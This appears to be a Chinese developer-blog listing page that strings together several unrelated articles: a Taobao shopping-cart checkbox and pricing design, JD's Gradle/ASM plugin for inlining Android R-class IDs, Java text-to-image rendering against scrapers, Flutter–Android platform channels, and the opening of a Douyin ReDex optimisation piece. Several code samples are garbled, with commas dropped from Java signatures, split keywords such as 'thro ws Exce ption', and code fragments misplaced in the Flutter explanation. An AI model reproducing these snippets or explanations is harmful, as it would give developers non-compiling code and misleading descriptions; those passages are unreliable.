  2. 全选情况下加载下一页

  3. 勾选的商品数量变化

效果图如下:


难点

  1. 勾选的品越多,动态计算的rt越长,当50个品一起勾选,页面接口返回时间将近1.5s

  2. 全选的情况下,下拉加载需要将新加载出来的品主动勾选上

  3. 尽可能的减少调用动态计算(比如加载非勾选的品,修改非勾选的商品数量)

设计方案

  1. 由于可能需要计算所有勾选的商品,所以前端需要将当前所有已加载的商品数据的勾选状态告知服务端

  2. 超过50个勾选商品时,不再调用动态计算接口,直接用本地价格计算总价,同时降级优惠明细和凑单进度

  3. 前端根据后端返回结果进行合并操作,减少不必要的计算开销

整体逻辑如下:


同时针对勾选处理,我将各类获取商品信息的动作封装进领域模型中(比如已勾选品,全部品,下一页品,操作的品,方便复用,⬆️代码设计已经讲过),获取各类商品的逻辑代码如下:

List activityItemList = cartData.getActivityItemList();
Map alreadyMap = requestContext.getAlreadyMap();
Map checkedItemMap = requestContext.getCheckedItemMap();
Map addNextItemMap = Optional.ofNullable(cartData.getAddNextItemList())
  .map(o -> o.stream().collect(Collectors.toMap(CartItemData::getCartId, Function.identity())))
  .orElse(Collections.emptyMap());
Map checkedHandleMap = context.getCheckedHandleMap();
Map nonCheckedHandleMap = context.getNonCheckedHandleMap();
Map modifyHandleMap = context.getModifyHandleMap();

勾选处理的逻辑代码如下:

boolean calculateAllChecked = isCalculateAllChecked(context, activityItemList);
activityItemList.forEach(v -> {
  CartItemDetail cartItemDetail = CartItemDetail.build(v);
  // 新加入的品,加入动态计算列表,并勾选
  if (v.getLastAddTime() > context.getEndTime()) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
      // 勾选操作的品,加入动态计算列表,并勾选
  } else if (checkedHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
      // 取消勾选的品,加入动态计算列表,并去勾选
  } else if (nonCheckedHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(false);
      cartData.addCalculateItem(cartItemDetail);
      // 勾选商品的数量修改,加入动态计算
  } else if (modifyHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(modifyHandleMap.get(v.getCartId()).getChecked());
      cartData.addCalculateItem(cartItemDetail);
      // 加载下一页,加入动态计算,如果是全选动作下,则将该页商品勾选
  } else if (addNextItemMap.containsKey(v.getCartId())) {
      if (context.isAllChecked()) {
          cartItemDetail.setChecked(true);
      }
      cartData.addCalculateItem(cartItemDetail);
      // 判断是否需要将之前所有勾选的商品加入动态计算
  } else if (calculateAllChecked && checkedItemMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
  }
});

P.S. 这里可能有人会发现,这么多的if-else就觉得它是烂代码。如果 if-else 分支判断不复杂、代码不多,这并没有任何问题,毕竟 if-else 分支判断几乎是所有编程语言都会提供的语法,存在即有理由。遵循 KISS 原则,怎么简单怎么来,就是最好的设计。非得用策略模式,搞出 n 多类,反倒是一种过度设计。

营销商品引擎key设计

  • 设计的背景

跨店满减和品类券从引擎中筛选是通过couponTagId + couponValue来召回的,couponTagId是ump的活动id,couponValue则是记录了满减信息。随着需求的迭代,我们需要展示满足跨店满减并同时满足其他营销玩法(比如限时秒杀)的商品,这里我们已经能筛选出满足跨店满减的品,但如果筛选出当前正在生效的限时秒杀的品呢?


  • 详细索引设计

导购的召回主要依赖倒排索引,而我们秒杀商品召回的关键是正在生效,所以我的设想是将时间写入key中,就有了如下设计:

字段示例:mkt_fn_t_60_08200000_60

index例子描述
0mkt营销工具平台
1fn前N
2t前N分钟
360开始前60分钟为预热时间
4082000008月20号0点0分
560开始后60分钟为结束时间

使用方可以遍历当前所有key,本地计算出当前正在生效的key再进行召回,具体细节这里就不做阐述了



最后的总结

设计的初衷是提高代码质量

我们经常会讲到一个词:初心。这词说的其实就是,你到底是为什么干这件事。不管走多远、产品经过多少迭代、转变多少次方向,“初心”一般都不会随便改。实际上,写代码也是如此。应用设计模式只是方法,最终的目的是提高代码的质量。具体点说就是,提高代码的可读性、可扩展性、可维护性等。所的设计都是围绕着这个初心来做的。

所以,在做代码设计的时候,一定要先问下自己,为什么要这样设计,为什么要应用这种设计模式,这样做是否能真正地提高代码质量,能提高代码质量的哪些方面。如果自己很难讲清楚,或者给出的理由都比较牵强,那基本上就可以断定这是一种过度设计,是为了设计而设计。

设计的过程是先有问题后有方案

在设计的过程中,我们要先去分析代码存在的痛点,比如可读性不好、可扩展性不好等等,然后再针对性地利用设计模式去改善,而不是看到某个场景之后,觉得跟之前在某本书中看到的某个设计模式的应用场景很相似,就套用上去,也不考虑到底合不合适,最后如果有人问起了,就再找几个不痛不痒、很不具体的伪需求来搪塞,比如提高了代码的扩展性、满足了开闭原则等等。

设计的应用场景是复杂代码

设计模式的主要作用就是解耦,也就是利用更好的代码结构将一大坨代码拆分成职责更单一的小类,让其满足高内聚低耦合等特性。而解耦的主要目的是应对代码的复杂性。设计模式就是为了解决复杂代码问题而产生的。

因此,对于复杂代码,比如项目代码量多、开发周期长、参与开发的人员多,我们前期要多花点时间在设计上,越是复杂代码,花在设计上的时间就要越多。不仅如此,每次提交的代码,都要保证代码质量,都要经过足够的思考和精心的设计,这样才能避免烂代码。

相反,如果你参与的只是一个简单的项目,代码量不多,开发人员也不多,那简单的问题用简单的解决方案就好,不要引入过于复杂的设计模式,将简单问题复杂化。

持续重构能有效避免过度设计

应用设计模式会提高代码的可扩展性,但同时也会带来代码可读性的降低,复杂度的升高。一旦我们引入某个复杂的设计,之后即便在很长一段时间都没有扩展的需求,我们也不可能将这个复杂的设计删除,后面一直要背负着这个复杂的设计前行。

为了避免错误的预判导致过度设计,我比较喜欢持续重构的开发方法。持续重构不仅仅是保证代码质量的重要手段,也是避免过度设计的有效方法。我上面的核心流程处理的框架代码,也是在一次又一次的重构中才写出来的。

作者:鸣翰(郑健) 大淘宝技术

收起阅读 »

插件化工程R文件瘦身技术方案

随着业务的发展及版本迭代,客户端工程中不断增加新的业务逻辑、引入新的资源,随之而来的问题就是安装包体积变大,前期各个业务模块通过无用资源删减、大图压缩或转上云、AB实验业务逻辑下线或其他手段在降低包体积上取得了一定的成果。在瘦身的过程中我们关注到了R文件瘦身的...
继续阅读 »

随着业务的发展及版本迭代,客户端工程中不断增加新的业务逻辑、引入新的资源,随之而来的问题就是安装包体积变大,前期各个业务模块通过无用资源删减、大图压缩或转上云、AB实验业务逻辑下线或其他手段在降低包体积上取得了一定的成果。

在瘦身的过程中我们关注到了R文件瘦身的概念,目前京东APP是支持插件化的,有业务插件工程、宿主工程,对业务插件包文件进行分析,发现除了常规的资源及代码外,R类文件大概占包体积的3%~5%左右,对宿主工程包文件进行分析,R类文件占比也有3%左右。我们先后在对R类文件瘦身的可行性及业界开源项目进行调研后,探索出了一套适用于插件化工程的R文件瘦身技术方案。

理论基础—R文件

R文件也就是我们日常工作中经常打交道的R.java文件,在Android开发规范中我们需要将应用中用到的资源分别放入专门命名的资源目录中,外部化应用资源以便对其进行单独维护。


外部化应用资源后,我们可在项目中使用R类ID来访问这些资源,且R类ID具有唯一性。

public class MainActivity extends BaseActivity {
  @Override
  protected void onCreate(@Nullable Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
  }
}

在android apk打包流程中R类文件是由aapt(Android Asset Packaing Tool)工具打包生成的,在生成R类文件的同时对资源文件进行编译,生成resource.arsc文件,resource.arsc文件相当于一个文件索引表,应用层代码通过R类ID 可以访问到对应的资源。


R文件瘦身的可行性分析

日常开发阶段,在主工程中通过R.xx.xx的方式引用资源,经过编译后R类引用对应的常量会被编译进class中。

setContentView(2131427356);

这种变化叫做内联,内联是java的一种机制(如果一个常量被标记为static final,在java编译的过程中会将常量内联到代码中,减少一次变量的内存寻址)。

非主工程中,R类资源ID以引用的方式编译进class中,不会产生内联。

setContentView(R.layout.activity_main);

产生这种现象的原因是AGP打包工具导致的。具体细节,大家可以去查阅一下android gradle plugin在R文件上的处理过程。

结论:R类id内联后程序可运行,但并非所有的工程都会自动产生内联现象,我们需要通过技术手段在合适的时机将R类id内联到程序中,内联完成后,由于不再依赖R类文件,则可以将R类文件删除,在应用正常运行的同时,达到包瘦身目的。

插件化工程R文件瘦身实战

制定技术方案

目前京东Android客户端是支持插件化的,整个插件化工程包含公共库(是一个aar工程,用来存放组件和宿主共用的类和资源)、业务插件(插件工程是一个独立的工程,编译产物可以运行在宿主环境中)、宿主(主工程,提供运行环境)。在插件化的过程中为了防止宿主和插件资源冲突,通过修改插件packageId保证了资源的唯一性。由于公共资源库、宿主是被很多业务依赖,对这两个项目进行改动评估影响涉及比较多,插件一般都是业务模块自行维护,不存在被依赖问题,所以先在业务插件模块进行R类瘦身实践。

对业务插件工程打出的包进行反编译以后,发现R类ID无内联现象,且R类文件具有一定的大小,对包内的R文件进行分析,发现R文件中仅包含业务自身的资源,不包含业务依赖的公共资源R类。

public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle)
{
  this.b = paramLayoutInflater.inflate(R.layout.lib_pd_main_page, paramViewGroup, false);
  this.h = (PDBuyStatusView) this.b.findViewById(R.id.pd_buy_status_view);
  this.f = (PageRecyclerView) this.b.findViewById(R.id.lib_pd_recycle_view);
}


结合对业界开源项目的调研分析,尝试制定符合京东商城的技术方案并优先在业务插件内完成R类ID内联并删除对应的R文件。

1.通过**transform** api 收集要处理的class文件

Transform 是 Android Gradle 提供的操作字节码的一种方式,它在 class 编译成 dex 之前通过一系列 Transform 处理来实现修改.class文件。

@Override
public void transform(TransformInvocation transformInvocationthrows TransformExceptionInterruptedExceptionIOException {
super.transform(transformInvocation);
// 通过TransformInvocation.getInputs()获取输入文件,有两种
// DirectoryInpu以源码方式参与编译的目录结构及目录下的文件
// JarInput以jar包方式参与编译的所有jar包
   allDirs = new ArrayList<>(invocation.getInputs().size());
   allJars = new ArrayList<>(invocation.getInputs().size());
   Collection<TransformInput> inputs = invocation.getInputs();
   for (TransformInput input : inputs) {
       Collection<DirectoryInput> directoryInputs = input.getDirectoryInputs();
        for (DirectoryInput directoryInput : directoryInputs) {
              allDirs.add(directoryInput.getFile());
            }
           Collection<JarInput> jarInputs = input.getJarInputs();
        for (JarInput jarInput : jarInputs) {
               allJars.add(jarInput.getFile());
            }
    }
}

2.对收集到的.class文件结合ASM框架进行分析处理

ASM是一个操作Java字节码的类库,通过ASM我们可以方便对.class文件进行修改。

优先识别R类文件,通过ClassVisitor访问R.class文件,读取文件中的静态常量,进行临时变量存储:

@Overridepublic FieldVisitor visitField(int access, String name, String desc, String signature, Object value)
{ //R类中收集 
  public static final int 对应的变量
  if(JDASMUtil.isPublic(access) && JDASMUtil.isStatic(access) && JDASMUtil.isFinal(access) && JDASMUtil.isInt(desc))
  {
      jdRstore.addInlineRField(className, name, value);
  }
  return super.visitField(access, name, desc, signature, value);
}

非R类文件,通过MethodVisitor识别到代码中的R类引用,获取引用对应的值,进行id值替换:

@Override
   public void visitFieldInsn(int opcodeString ownerString nameString desc) {
       if (opcode == Opcodes.GETSTATIC) {
           //owner:包名;name:具体变量名;value:R类变量对应的具体id值
           Object value = jdRstore.getRFieldValue(ownername);
           if (value != null) {
             //调用该api实现值替换
               mv.visitLdcInsn(value);
               return;
          }
      }
       super.visitFieldInsn(opcodeownernamedesc);
  }

*注:以上代码仅为部分示意代码,非正式插件代码。


在业务模块引入R类瘦身插件后,业务模块功能可正常运行,且插件包大小均有3%~5%不同程度的减少。

公共资源R类ID内联

由于在京东android客户端代码中,更多的资源文件集中在公共资源库中,相对的公共库生成的R类文件也更大,对编译后的apk包内容进行分析后,公共资源库的R类文件占比高达3%。

公共库跟随宿主一起打包,在宿主打包过程中引入R类瘦身插件,打包后的apk有明显的减小,手机安装apk后启动首页正常展示无问题,但在打开某些业务插件时,会有异常闪退现象,崩溃类型为R.x resource not found。对崩溃原因分析如下:业务插件代码中使用了公共库中的R类资源、插件打包流程独立于宿主打包,在插件打包的过程中仅完成了业务模块R类的内联,并没有考虑到公共资源R类的内联,基于上述原因当宿主打包过程完成R类文件删除瘦身后,我们在运行某业务插件的过程中,自然就会报公共资源R类找不到的问题从而产生崩溃。


为了解决这个问题一开始的方案设想是增加白名单机制,keep住所有被业务模块使用的公共资源,但很快这个想法就被推翻,公共资源存在本身就是希望各个业务模块直接引用这部分资源,而不是自己定义,如果keep住的话,必然有很大一部分的资源无法删减,瘦身的效果会大打折扣。

既然保留的方案并不合适,那就将公共资源R类id也内联到代码中去。前面提到京东是支持插件化的,整个插件化方案是基于aura平台实现的,我们向aura团队进行了咨询,然后get到了新的方案切入点。

aura平台在插件化的过程中已通过aapt2引入了公共资源id固定的能力,在该能力下,已定义的公共资源id会一直固定(各个业务插件中引用的公共资源id一致),且公共资源库中已有的资源不可被其他模块重复定义,否则会覆盖之前已定义好的资源,基于上述的结果和规则,我们对之前的R文件瘦身gralde plugin功能进行完善,将公共资源的R类id 内联到项目中。

利用appt2的-stable-ids和-emit-ids两个参数实现固化资源id的功能,并将将固化后的ids文件命名为shared_res_public.xml存储在公共资源库中,业务插件依赖公共资源库,在打包编译的过程中aura会将shared_res_public.xml复制到业务工程临时编译文件夹intermediates下的指定位置并参与业务模块的打包过程中,其文件内容格式如下:


修改R文件瘦身gradle plugin 代码,从指定位置读取并识别这部分公共资源,按照<name,id>的形式进行变量存储,并在后续过程中对业务模块中的公共资源部分进行id替换。


public Map<StringString> parse() thro ws Exce ption {
       if (in == null) {
           return null;
      }
       DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
       DocumentBuilder builder = factory.newDocumentBuilder();
       Document doc = builder.parse(in);
       Element rootElement = doc.getDocumentElement();
       NodeList list = rootElement.getChildNodes();
      ......
       return resNode;
  }
}

至此,我们的R文件瘦身gradle plugin将R资源分为两部分进行存储,一部分为业务自身的R类资源,一部分为我们解析固定目录下的公共R类资源,对之前的R文件瘦身流程进行如下修改:


R类资源id内联部分代码如下:

public void visitFieldInsn(int opcodeString ownerString nameString desc) {
       if (opcode == Opcodes.GETSTATIC) {
           //优先从业务模块R类资源中查找
           Object value = jdRstore.getRFieldValue(ownername);
           if (value != null) {
               mv.visitLdcInsn(value);
               return;
          }
          //从公共R类资源中查找
           value = getPublicRFileValue(name);
           if (value != null) {
               mv.visitLdcInsn(value);
               return;
          }
      }
       super.visitFieldInsn(opcodeownernamedesc);
  }

该方案完善后,结合商详业务插件进行了验证,在商详及宿主均完成R文件内联瘦身后,商详模块业务功能可正常使用,无异常现象。

考虑到R文件内联瘦身gradle plugin是在打包编译阶段引入的,我们也统计了一下引入该插件以后对打包时长的影响,数据如下:


结合数据来看,引入R文件瘦身插件后对整体打包时长并无显著影响。

至此,基于京东商城探索的插件化工程R文件瘦身gradle plugin就开发完成,目前已在部分业务插件模块进行了线上验证,在功能上线以后我们也及时的进行了崩溃观测以及用户反馈的跟进,暂无异常问题。当然围绕R文件瘦身缩减包体积这个目的,开发人员有各种各样的技术方案,上述方案不一定适用于所有的客户端开发体系,另外后续也将围绕包瘦身这一常态事务建设一系列的相关工具,介入工作当中的各个阶段,高效、有效的控制包体积的增长,如大家在瘦身方面有相关建议和想法也欢迎大家来一起讨论。

参考文章:

Gradle Plugin:

https://docs.gradle.org/current/userguide/custom_plugins.html

Gradle Transform:

https://developer.android.com/reference/tools/gradle-api/7.0/com/android/build/api/transform/Transform

APK 构建流程:

https://developer.android.com/studio/build/index.html?hl=zh-cn#build-process

作者:耿蕾 田创新 京东零售技术

收起阅读 »

Java文字转图片防爬虫

最近部分页面数据被爬虫疯狂的使用,主要就是采用动态代理IP爬取数据,主要是不控制频率,这个最恶心。因为对方是采用动态代理的方式,所以没什么特别好的防止方式。具体防止抓取数据方案大全,下篇博客我会做一些讲解。本篇也是防爬虫的一个方案。就是部分核心文字采用图片输出...
继续阅读 »

最近部分页面数据被爬虫疯狂的使用,主要就是采用动态代理IP爬取数据,主要是不控制频率,这个最恶心。因为对方是采用动态代理的方式,所以没什么特别好的防止方式。

具体防止抓取数据方案大全,下篇博客我会做一些讲解。本篇也是防爬虫的一个方案。就是部分核心文字采用图片输出。加大数据抓取方的成本。

图片输出需求

上图红色圈起来的数据为图片输出了备案号,就是要达到这个效果,如果数据抓取方要继续使用,必须做图片解析,成本和难度都加到了。也就是我们达到的效果了。

Java代码实现

import javax.imageio.ImageIO;

import java.awt.*;

import java.awt.font.FontRenderContext;

import java.awt.geom.AffineTransform;

import java.awt.geom.Rectangle2D;

import java.awt.image.BufferedImage;

import java.io.File;

import java.nio.file.Paths;

public class ImageDemo {

public static void main(String[] args) throws Exception {

System.out.println(System.currentTimeMillis());

//输出目录

String rootPath = "/Users/sojson/Downloads/";

//这里文字的size,建议设置大一点,其实就是像素会高一点,然后缩放后,效果会好点,最好是你实际输出的倍数,然后缩放的时候,直接按倍数缩放即可。

Font font = new Font("微软雅黑", Font.PLAIN, 130);

createImage("https://www.sojson.com", font, Paths.get(rootPath, "sojson-image.png").toFile());

}

private static int[] getWidthAndHeight(String text, Font font) {

Rectangle2D r = font.getStringBounds(text, new FontRenderContext(

AffineTransform.getScaleInstance(1, 1), false, false));

int unitHeight = (int) Math.floor(r.getHeight());//

// 获取整个str用了font样式的宽度这里用四舍五入后+1保证宽度绝对能容纳这个字符串作为图片的宽度

int width = (int) Math.round(r.getWidth()) + 1;

// 把单个字符的高度+3保证高度绝对能容纳字符串作为图片的高度

int height = unitHeight + 3;

return new int[]{width, height};

}

// 根据str,font的样式以及输出文件目录

public static void createImage(String text, Font font, File outFile)

throws Exception {

// 获取font的样式应用在输出内容上整个的宽高

int[] arr = getWidthAndHeight(text, font);

int width = arr[0];

int height = arr[1];

// 创建图片

BufferedImage image = new BufferedImage(width, height,

BufferedImage.TYPE_INT_BGR);//创建图片画布

//透明背景 the begin

Graphics2D g = image.createGraphics();

image = g.getDeviceConfiguration().createCompatibleImage(width, height, Transparency.TRANSLUCENT);

g=image.createGraphics();

//透明背景 the end

/**

如果你需要白色背景或者其他颜色背景可以直接这么设置,其实就是满屏输出的颜色

我这里上面设置了透明颜色,这里就不用了

*/

//g.setColor(Color.WHITE);

//画出矩形区域,以便于在矩形区域内写入文字

g.fillRect(0, 0, width, height);

/**

* 文字颜色,这里支持RGB。new Color("red", "green", "blue", "alpha");

* alpha 我没用好,有用好的同学可以在下面留言,我开始想用这个直接输出透明背景色,

* 然后输出文字,达到透明背景效果,最后选择了,createCompatibleImage Transparency.TRANSLUCENT来创建。

* android 用户有直接的背景色设置,Color.TRANSPARENT 可以看下源码参数。对alpha的设置

*/

g.setColor(Color.gray);

// 设置画笔字体

g.setFont(font);

// 画出一行字符串

g.drawString(text, 0, font.getSize());

// 画出第二行字符串,注意y轴坐标需要变动

g.drawString(text, 0, 2 * font.getSize());

//执行处理

g.dispose();

// 输出png图片,formatName 对应图片的格式

ImageIO.write(image, "png", outFile);

}

}

输出图片效果:


当然我这里是做了放缩,要不然效果没那么好。

注意点:

其实代码里注释说的已经比较清楚了。主要设置透明色这里。

//透明背景 the begin
Graphics2D g = image.createGraphics();
image = g.getDeviceConfiguration().createCompatibleImage(width, height, Transparency.TRANSLUCENT);
g=image.createGraphics();
//透明背景 the end

Android 参考的颜色值

android.graphics.Color 包含颜色值
Color.BLACK 黑色
Color.BLUE 蓝色
Color.CYAN 青绿色
Color.DKGRAY 灰黑色
Color.GRAY 灰色
Color.GREEN 绿色
Color.LTGRAY 浅灰色
Color.MAGENTA 红紫色
Color.RED 红色
Color.TRANSPARENT 透明
Color.WHITE 白色
Color.YELLOW 黄色




收起阅读 »

Flutter 混合开发(Android)Flutter跟Native相互通信

前言Flutter 作为混合开发,跟native端做一些交互在所难免,比如说调用原生系统传感器、原生端的网络框架进行数据请求就会用到 Flutter 调用android 及android 原生调用 Flutter的方法,这里就涉及到Platform Chann...
继续阅读 »

前言

Flutter 作为混合开发,跟native端做一些交互在所难免,比如说调用原生系统传感器、原生端的网络框架进行数据请求就会用到 Flutter 调用android 及android 原生调用 Flutter的方法,这里就涉及到Platform Channels(平台通道)

Platform Channels (平台通道)

Flutter 通过Channel 与客户端之间传递消息,如图:


图中就是通过MethodChannel的方式实现Flutter 与客户端之间的消息传递。MethodChannel是Platform Channels中的一种,Flutter有三种通信类型:

BasicMessageChannel:用于传递字符串和半结构化的信息

MethodChannel:用于传递方法调用(method invocation)通常用来调用native中某个方法

EventChannel: 用于数据流(event streams)的通信。有监听功能,比如电量变化之后直接推送数据给flutter端。

为了保证UI的响应,通过Platform Channels传递的消息都是异步的。

更多关于channel原理可以去看这篇文章:channel原理篇

Platform Channels 使用

1.MethodChannel的使用

原生客户端写法(以Android 为例)

首先定义一个获取手机电量方法

private int getBatteryLevel() {
return 90;
}

这函数是要给Flutter 调用的方法,此时就需要通过 MethodChannel 来建立这个通道了。

首先新增一个初始化 MethodChannel 的方法

private String METHOD_CHANNEL = "common.flutter/battery";
private String GET_BATTERY_LEVEL = "getBatteryLevel";
private MethodChannel methodChannel;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
GeneratedPluginRegistrant.registerWith(this);
initMethodChannel();
getFlutterView().postDelayed(() ->
methodChannel.invokeMethod("get_message", null, new MethodChannel.Result() {
@Override
public void success(@Nullable Object o) {
Log.d(TAG, "get_message:" + o.toString());
}

@Override
public void error(String s, @Nullable String s1, @Nullable Object o) {

}

@Override
public void notImplemented() {

}
}), 5000);

}

private void initMethodChannel() {
methodChannel = new MethodChannel(getFlutterView(), METHOD_CHANNEL);
methodChannel.setMethodCallHandler(
(methodCall, result) -> {
if (methodCall.method.equals(GET_BATTERY_LEVEL)) {
int batteryLevel = getBatteryLevel();

if (batteryLevel != -1) {
result.success(batteryLevel);
} else {
result.error("UNAVAILABLE", "Battery level not available.", null);
}
} else {
result.notImplemented();
}
});


}

private int getBatteryLevel() {
return 90;
}

METHOD_CHANNEL 用于和flutter交互的标识,由于一般情况下会有多个channel,在app里面需要保持唯一性

MethodChannel 都是保存在以通道名为Key的Map中。所以要是设了两个名字一样的channel,只有后设置的那个会生效。

onMethodCall 有两个参数,onMethodCall 里包含要调用的方法名称和参数。Result是给Flutter的返回值。方法名是客户端与Flutter统一设定。通过if/switch语句判断 MethodCall.method 来区分不同的方法,在我们的例子里面我们只会处理名为“getBatteryLevel”的调用。在调用本地方法获取到电量以后通过 result.success(batteryLevel) 调用把电量值返回给Flutter。

MethodChannel-Flutter 端

直接先看一下Flutter端的代码

class _MyHomePageState extends State<MyHomePage> {
int _counter = 0;
static const platform = const MethodChannel('common.flutter/battery');

void _incrementCounter() {
setState(() {
_counter++;
_getBatteryLevel();
});
}

@override
Widget build(BuildContext context) {
platform.setMethodCallHandler(platformCallHandler);
return Scaffold(
appBar: AppBar(
title: Text(widget.title),
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
Text(
'You have pushed the button this many times:',
),
Text(
'$_counter',
style: Theme.of(context).textTheme.display1,
),
Text('$_batteryLevel'),
],
),
),
floatingActionButton: FloatingActionButton(
onPressed: _incrementCounter,
tooltip: 'Increment',
child: Icon(Icons.add),
),
);
}

String _batteryLevel = 'Unknown battery level.';

Future<Null> _getBatteryLevel() async {
String batteryLevel;
try {
final int result = await platform.invokeMethod('getBatteryLevel');
batteryLevel = 'Battery level at $result % .';
} on PlatformException catch (e) {
batteryLevel = "Failed to get battery level: '${e.message}'.";
}

setState(() {
_batteryLevel = batteryLevel;
});
}

//客户端调用
Future<dynamic> platformCallHandler(MethodCall call) async {
switch (call.method) {
case "get_message":
return "Hello from Flutter";
break;
}
}
}

上面代码解析:
首先,定义一个常量result.success(platform),和Android客户端定义的channel一致;
接下来定义一个 result.success(_getBatteryLevel())方法,用来调用Android 端的方法,result.success(final int result = await platform.invokeMethod('getBatteryLevel');) 这行代码就是通过通道来调用Native(Android)方法了。因为MethodChannel是异步调用的,所以这里必须要使用await关键字。

在上面Android代码中我们把获取到的电量通过result.success(batteryLevel);返回给Flutter。这里await表达式执行完成以后电量就直接赋值给result变量了。然后通过result.success(setState); 去改变Text显示值。到这里为止,是通过Flutter端调用原生客户端方法。

MethodChannel 其实是一个可以双向调用的方法,在上面的代码中,其实我们也体现了,通过原生客户端调用Flutter的方法。

在原生端通过 methodChannel.invokeMethod 的方法调用

methodChannel.invokeMethod("get_message", null, new MethodChannel.Result() {
@Override
public void success(@Nullable Object o) {
Log.d(TAG, "get_message:" + o.toString());
}

@Override
public void error(String s, @Nullable String s1, @Nullable Object o) {

}

@Override
public void notImplemented() {

}
});

在Flutter端就需要给MethodChannel设置一个MethodCallHandler

static const platform = const MethodChannel('common.flutter/battery');
platform.setMethodCallHandler(platformCallHandler);
Future<dynamic> platformCallHandler(MethodCall call) async {
switch (call.method) {
case "get_message":
return "Hello from Flutter";
break;
}
}

以上就是MethodChannel的相关用法了。

EventChannel

将数据推送给Flutter端,类似我们常用的推送功能,有需要就推送给Flutter端,是否需要去处理这个推送由Flutter那边决定。相对于MethodChannel是主动获取,EventChannel则是被动推送。

EventChannel 原生客户端写法

private String EVENT_CHANNEL = "common.flutter/message";
private int count = 0;
private Timer timer;

private void initEventChannel() {
new EventChannel(getFlutterView(), EVENT_CHANNEL).setStreamHandler(new EventChannel.StreamHandler() {
@Override
public void onListen(Object arguments, EventChannel.EventSink events) {
timer.schedule(new TimerTask() {
@Override
public void run() {
if (count < 10) {
count++;
events.success("当前时间:" + System.currentTimeMillis());
} else {
timer.cancel();
}
}
}, 1000, 1000);
}

@Override
public void onCancel(Object o) {

}
});
}

在上面的代码中,我们做了一个定时器,每秒向Flutter推送一个消息,告诉Flutter我们当前时间。为了防止一直倒计时,我这边做了个计数,超过10次就停止发送。

EventChannel Flutter端

String message = "not message";
static const eventChannel = const EventChannel('common.flutter/message');
@override
void initState() {
super.initState();
eventChannel.receiveBroadcastStream().listen(_onEvent, onError: _onError);
}

void _onEvent(Object event) {
setState(() {
message =
"message: $event";
});
}

void _onError(Object error) {
setState(() {
message = 'message: unknown.';
});
}

上面的代码就是Flutter端接收原生客户端数据,通过_onEvent 来接收数据,将数据显示Text。这个实现相对简单,如果要达到业务分类,需要将数据封装成json,通过json数据包装一些对应业务标识和数据来做区分。

BasicMessageChannel

BasicMessageChannel (主要是传递字符串和一些半结构体的数据)

BasicMessageChannel Android端

private void initBasicMessageChannel() {
BasicMessageChannel<Object> basicMessageChannel = new BasicMessageChannel<>(getFlutterView(), BASIC_CHANNEL, StandardMessageCodec.INSTANCE);
//主动发送消息到flutter 并接收flutter消息回复
basicMessageChannel.send("send basic message", (object)-> {
Log.e(TAG, "receive reply msg from flutter:" + object.toString());
});

//接收flutter消息 并发送回复
basicMessageChannel.setMessageHandler((object, reply)-> {
Log.e(TAG, "receive msg from flutter:" + object.toString());
reply.reply("reply:got your message");

});

}

BasicMessageChannel Flutter端

  static const basicChannel = const BasicMessageChannel('common.flutter/basic', StandardMessageCodec());
//发送消息到原生客户端 并且接收到原生客户端的回复
Future<String> sendMessage() async {
String reply = await basicChannel.send('this is flutter');
print("receive reply msg from native:$reply");
return reply;
}

//接收原生消息 并发送回复
void receiveMessage() async {
basicChannel.setMessageHandler((msg) async {
print("receive from Android:$msg");
return "get native message";
});

上面例子中用到的编解码器为StandardMessageCodec ,例子中通信都是String,用StringCodec也可以。

以上就是Flutter提供三种platform和dart端的消息通信方式。

本文转载自: https://www.jianshu.com/p/1f12e53f5fb3
收起阅读 »

抖音 Android 包体积优化探索:基于 ReDex 的 DEX 优化落地实践

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。前言应用安装包的体积会显著影响应用的下载速度和安装...
继续阅读 »

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。

前言

应用安装包的体积会显著影响应用的下载速度和安装速度,按照 Google 的经验数据,包体积每增加 1M 会造成 0.17%的新增折损。抖音的一些实验也证明了包体积会显著影响下载激活的转化率。

Android 的安装包是 APK 格式的,在抖音的安装包中 DEX 的体积占比达到了 40%以上,所以针对 DEX 的体积优化是一种行之有效的包体积优化手段。

DEX 本质上是由 Java/Kotlin 代码编译而成的字节码,因此,针对字节码进行业务无感的通用优化成为我们的一个探索方向。

优化结果

终端基础技术团队和抖音基础技术团队在过去的一年里,利用 ReDex 在抖音包体积优化方面取得了一些明显的收益,这些优化也被同步到了其他各大 App 上。

在抖音、头条和其他应用上,我们的优化对 APK 体积的缩减普遍达到了 4%以上,对 DEX 体积的缩减则可以达到 8% ~ 10%

优化思路

在 android 应用的构建过程中,Java/Kotlin 代码会先被编译成 Class 字节码,在这个阶段 gradle 提供了 Transformer 可以进行字节码的自定义处理,很多插件都是在这个阶段处理字节码的。然后,Class 文件经过 dexBuilder/mergeDex 等任务的处理会生成 DEX 文件,并最终被打进安装包中。整个过程如下所示:


所以,针对字节码的优化是有 2 个时机可以进行的:

  • 在 transformer 阶段对 Class 字节码进行优化

  • 在 DEX 阶段对 DEX 文件进行优化

显然,对 DEX 进行优化是更理想的一种方式,因为在 DEX 文件中,除了字节码指令外,还存在跨 DEX 引用、字符串池这样的结构,针对这些 DEX 格式的优化是无法在 transformer 阶段进行的。

在确定了针对 DEX 文件进行优化的思路后,我们选择了 facebook 的开源框架 ReDex 作为优化工具,并对其进行了定制开发。

选择 ReDex 的原因是它提供了丰富的基础能力,ReDex 的基础能力包括:

